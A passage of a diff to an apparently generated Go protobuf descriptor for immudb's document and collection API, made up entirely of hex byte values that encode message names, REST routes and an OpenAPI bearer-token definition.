0x05, + 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, - 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, - 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, - 0x00, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, - 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, - 0x45, 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x30, 0x0a, - 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, - 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, - 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, - 0x85, 0x0a, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, - 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, - 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, - 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, - 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, - 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, + 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, - 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, - 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, - 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, - 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, - 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, - 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, - 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, - 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, - 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, + 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, + 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, + 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, + 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, + 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, + 0x76, 0x32, 0x5a, 